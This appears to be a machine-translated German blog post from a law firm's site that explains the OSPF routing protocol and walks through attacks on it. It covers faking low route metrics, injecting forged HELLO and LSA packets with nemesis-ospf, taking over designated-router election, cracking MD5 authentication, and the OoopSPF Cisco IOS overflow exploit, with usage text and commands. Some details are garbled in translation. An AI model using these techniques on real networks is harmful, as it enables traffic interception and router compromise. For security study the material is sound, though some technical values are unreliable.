Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Umgebungen mit OSPF-Protokoll.

Обновлено 24.09.2025 11:55

Oleg Petukhov, Rechtsanwalt im Bereich des Völkerrechts und des Schutzes personenbezogener Daten, Spezialist für Informationstechnik sicherheit, Schutz von Informationen und persönlichen Daten.

Telegramm-Kanal: https://t.me/datenschutzmit

Die Gruppe im Telegramm: https://t.me/datenschutzmit1

Website: https://legascom.ru

E-Mail: online@legascom.ru

 

#informationssicherheit #informationssicherheit

Das OSPF-Routingprotokoll (Open Shortest Path First) eignet sich am besten für dynamische, zusammengeführte IP-Netzwerke großer Größe mit mehreren Pfaden. Im Allgemeinen wird das Routingprotokoll OSPF für das Routing in Unternehmensnetzwerken verwendet, die durchschnittlich 50 LANs und mehrere tausend Hosts enthalten.

Zum besseren Verständnis vergleichen wir RIP und OSPF.

OSPF ist ein Link-State-Protokoll, im Gegensatz zu RIP, einem Protokoll für den Entfernungsvektor (distance-vector). Jeder Router aktualisiert seine Routing-Tabelle basierend auf den Entfernungsvektoren, die er von seinen Nachbarn erhält.

Bei Verwendung des Kanalstatusprotokolls kommuniziert der Router keine Abstandsinformationen mit seinen Nachbarn. Stattdessen überprüft jeder Router aktiv den Status seiner Kanäle, die zu jedem Router in der Nähe führen, und sendet diese Informationen an andere Nachbarn, die den Datenstrom an ein eigenständiges System weiterleiten können. Jeder Router nimmt Informationen über den Status des Kanals an und erstellt bereits eine vollständige Routing-Tabelle auf dieser Grundlage.

Im dargestellten Netzwerk wird eine Route mit zwei roten Routern als optimal zwischen Source und Destination erkannt. Der Grund dafür sind schnellere Kanäle auf dieser Route.

Aus praktischer Sicht besteht der Hauptunterschied darin, dass das Kanalzustandsprotokoll wesentlich schneller arbeitet als das Entfernungsvektor-Protokoll. Es sollte beachtet werden, dass im Falle des Kanalstatusprotokolls die Konvergenz des Netzwerks wesentlich schneller erfolgt. Das Konzept der Konvergenz (converge) eines Protokolls bezieht sich normalerweise auf die Stabilisierung des Netzwerks nach Änderungen, wie z. B. einem Router-Ausfall oder einem Kanalausfall.

OSPF unterscheidet sich auch von RIP (wie viele andere Routingprotokolle) dadurch, dass es direkt IP verwendet. Dies bedeutet, dass UDP oder TCP nicht verwendet wird. Der OSPF verfügt über eine eigene ID, die im Feld Protokoll im IP-Header festgelegt wird.

Dementsprechend sind Angriffe auf OSPF komplexer als auf RIP. Die Hauptschwierigkeiten sind wie folgt:

1) der Router eines Angreifers muss das HELLO-Paket samitieren, um Routerinformationen mit anderen Routers auszutauschen;

2) die Abhängigkeit von der Hierarchie der Router, die am OSPF-Routenaustausch beteiligt sind. Die am Austausch beteiligten Router können im hierarchischen Routingschema unterschiedliche Ebenen aufweisen.

Angesichts dieser Schwierigkeiten werden wir uns mit den grundlegenden Angriffen auf OSPF befassen.

Der Sinn dieses Angriffs besteht darin, die Route, die durch die Maschine des Angreifers führt, als die mit der größten Bandbreite darzustellen. Eines der Kriterien für die Auswahl der optimalen Route im OSPF ist die anhand der Formel berechnete Metrik

Metrik = reference bandwidth / link bandwidth,

wobei reference bandwidth = 108 ist, ist link bandwidth die Bandbreite des Kanals.

Zum Beispiel ist der Metrikwert für Kanäle mit 100 Mbs 1, für 10 Mbs 10 usw.

Daher muss ein Angreifer die Metrik für seine Route auf 1 setzen, um sie zu einer Priorität zu machen.

!

! Zebra configuration saved from vty

! 2005/08/16 01:22:41

!

hostname legitimate.ospfd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

log file /var/log/quagga/ospfd.log

service advanced-vty

service password-encryption

!

!

interface eth0

description DMZ_Network

ip ospf authentication message-digest

ip ospf message-digest-key 1 md5 secret_key

!

interface eth1

!

interface 10

!

interface tun10

!

router ospf

ospf router-id 192.168.20.111

redistribute kernel

redistribute connected

network 192.168.20.0/24 area 0.0.0.0

area 0.0.0.0 authentication message-digest

!

line vty

exec-timeout 30 0

!

Wenn die Verbindung zum OSPF-Routenaustausch erfolgreich hergestellt wurde, müssen Sie unbedingt den aktuellen Status der Routeninformationen mit dem Befehl show ip opsf überprüfen:

legitimate.ospfd# show ip ospf

OSPF Routing Process, Router ID: 192.168.20.111

Supports only single TOS (TOS0) routes

This implementation conforms to RFC2328

RFC1583Compatibility flag is disabled

OpaqueCapability flag is disabled

SPF schedule delay 1 secs, Hold time between two SPFs 1 secs

Refresh timer 10 secs

This router is an ASBR (injecting external routing information)

Number of external LSA 4. Checksum Sum 0x00025f81

Number of opaque AS LSA 0. Checksum Sum 0x00000000

Number of areas attached to this router: 1

Area ID: 0.0.0.0 (Backbone)

Number of interfaces in this area: Total: 1, Active: 1

Number of fully adjacent neighbors in this area: 2

Area has message digest authentication

SPF algorithm executed 29 times

Number of LSA 9

Number of router LSA 4. Checksum Sum 0x00025166

Number of network LSA 1. Checksum Sum 0xffff90fa

Number of summary LSA 2. Checksum Sum 0x000166c2

Number of ASBR summary LSA 2. Checksum Sum 0x00014713

Number of NSSA LSA 0. Checksum Sum 0x00000000

Number of opaque link LSA 0. Checksum Sum 0x00000000

Number of opaque area LSA 0. Checksum Sum 0x00000000

Als nächstes fügen Sie die entsprechenden Routen hinzu:

kali / # ip route add 64.100.0.0/14 dev eth0

kali / # ip route add 128.107.0.0/16 dev eth0

Stellen Sie sicher, dass diese Routen erfolgreich zum OSPF-Austausch hinzugefügt wurden:

legitimate.ospfd# sh ip ospf route

============ OSPF external routing table ===========

N E2 64.100.0.0/14 [10/20] tag: 0

via 192.168.66.111, eth0

N E2 128.107.0.0/16 [10/20] tag: 0

via 192.168.66.111, eth0

Wie Sie verstanden haben, ist 192.168.66.111 die Maschine des Eindringlings.

Um diesen Angriff zu implementieren, können Sie auch das bereits erwähnte Nemesis-Dienstprogramm verwenden, oder eher eine Modifikation, die speziell für die Arbeit mit OSPF entwickelt wurde. Hier ist eine Liste der Optionen für dieses Dienstprogramm:

kali / # ./nemesis-ospf

OSPF Packet Injection -=The NEMESIS Project 1.1

I 1999, 2000 obecian <obecian@celerity.bartoli.org>;

OSPF usage:

./nemesis-ospf [-v] [optlist]

OSPF Packet Types:

-p <OSPF Protocol>

-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),

-pN LSA (network), -pM LSA (summary), -pA LSA (AS)

OSPF HELLO options:

-N <Neighbor Router Address>

-i >Dead Router Interval>

-l <OSPF Interval>

OSPF DBD options:

-z <MAX DGRAM Length>

-x <Exchange Type>

OSPF LSU options:

-B <num of LSAs to bcast>

OSPF LSA related options:

-L <router id>

-G <LSA age>

OSPF LSA_RTR options:

-u <LSA_RTR num>

-y <LSA_RTR router type>

-k <LSA_RTR router data>

OSPF LSA_AS_EXT options:

-f <LSA_AS_EXT forward address>

-g <LSA_AS_EXT tag>

OSPF options:

-m <OSPF Metric>

-s <Sequence Number>

-r <Advertising Router Address>

-n >OSPF Netmask>

-O <OSPF Options>

-R <OSPF Router id>

-A <OSPF Area id>

-P <Payload File (Binary or ASCII)>

(-v VERBOSE packet struct to stdout)

IP Options

-S <Source Address>

-D <Destination Address>

-I <IP ID>

-T <IP TTL>

-t <IP/OSPF tos>

-F <IP frag>

-o <IP Options>

Data Link Options:

-d <Ethernet Device>

-H <Source MAC Address>

-M <Destination MAC Address>

Sie müssen die Quelle, den Empfänger, das Protokoll und die entsprechenden Optionen angeben. Um beispielsweise ein gefälschtes OSPF-Nachbar-Hello-Paket an den Router zu senden, müssen Sie den folgenden Befehl ausführen:

Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1

Eine alternative Implementierung dieses Angriffs könnte die Generierung gefälschter LSA-OSPF-Updates sein, die auch mit Nemesis implementiert werden können.

Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1

Wir werden zum Designated- oder Backup Designated-OSPF-Router.

Mittlere und große Netzwerke, die das OSPF-Protokoll verwenden, verwenden eine bestimmte Router-Hierarchie. In großen Netzwerken, die Dutzende oder sogar Hunderte von Routern verwenden, ist die Unterstützung aktueller Informationen sehr ressourcenintensiv. Verwenden Sie eine Hierarchie, um die Aufgaben beim Erstellen von Leitungstabellen zu trennen und die Geräteauslastung zu reduzieren. Auf der obersten Ebene einer solchen Hierarchie befindet sich in der Regel der leistungsstärkste Router. Ein solcher Router wird Designated Router genannt. Der Zweck dieses Geräts besteht darin, die aktuellen Routeninformationen effizient an alle am OSPF–Austausch beteiligten Router weiterzuleiten.

Wenn der Designated Router ausfällt, muss er durch den Backup designated Router ersetzt werden, dh durch einen Backup-Router der obersten Ebene.

Der Designated Router wird als Ergebnis der Abstimmung basierend auf der Priorität des Routers und seiner IP-Adresse ausgewählt.

Ein Angreifer könnte versuchen, dieser designierte Router zu werden.

Wenn dem DR die Priorität 255 zugewiesen wurde und dem BDR die Priorität 254 zugewiesen wurde, ist es unmöglich, Wahlen zu gewinnen. Viele Administratoren verwenden jedoch keine maximalen Prioritätswerte, indem sie DR und BDR 100 bzw. 10 bzw. 2 bzw. 1 zuweisen. Manchmal werden DR und BDR die am besten geeigneten IP-Adressen zugewiesen.

Ein Angreifer muss also, um seinen Router designated zu machen, einfach festlegen, wie die DR-Auswahl erfolgt, und auf dieser Grundlage entweder die Priorität oder die IP-Adresse fälschen.

In Quagga können Sie die Priorität mit dem folgenden Befehl festlegen:

ip ospf priority 255

Wenn DR und BDR die höchsten Prioritätswerte haben, können Sie versuchen, sie mit den verschiedenen Netzwerkangriffen in diesem Buch zu deaktivieren und dann versuchen, Ihren gefälschten Router zu ersetzen.

Hacking von OSPF MD5.

Zum Schutz verwendet das OSPF-Protokoll die MD5-Authentifizierung. Dementsprechend kann dieser Schutz in Analogie zum MD5-Hack im RIP-Protokoll auch hier gehackt werden.

Dies erfordert Cain & Abel. Der Hacking-Prozess selbst ähnelt dem in den Beiträgen zum RIP-Hacking beschriebenen, daher werden wir ihn hier nicht beschreiben.

Angriff auf den OSPF mit dem OOPSPF Exploit. Bei Cisco-Routern mit IOS-Versionen 11.2, 11.3 und 12.0 kann es zu einem Pufferüberlauf kommen, wenn eine große Anzahl von OSPF-HELLO-Paketen empfangen wird. Das Konzept, das diese Sicherheitsanfälligkeit implementiert, wird auf der offiziellen Website vorgestellt:

arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump

***********************************************************************

IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),

RELEASE SOFTWARE (fc3)

IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin

MEMORY: 61440K/4096K

ARRAY: 82A7E210

PID RECORD STACK RETURNA RETURNV NAME

<skip>

90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello

150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router

<skip>

arhontus / # ./OoopSPF

Phenoelit OoopSPF

Cisco IOS OSPF remote exploit (11.2.-12.0)

(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>;

Usage:

./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>

Options:

-s <src net> Use this network as source (as in target config)

-n <src mask> Use this netmask as source (as in target config)

-d <target> This is the target router interface IP

-f <file> Use this as the new config for the router

-t # Use this target value set (see below)

-a <area> Use this OSPF area

-v Be verbose (-vv or -vvv recommended)

-D Directed attack (unicast) for 11.x targets

-T Test only – don't send

--- barely used options ---

-L # Number of neighbors to announce (overflow size)

-F # Start of data (seen reverse to overflow)

-S # NOP sleet

Im nächsten Beitrag werden wir uns mit den Sicherheitsfragen des OSPF-Routingprotokolls befassen.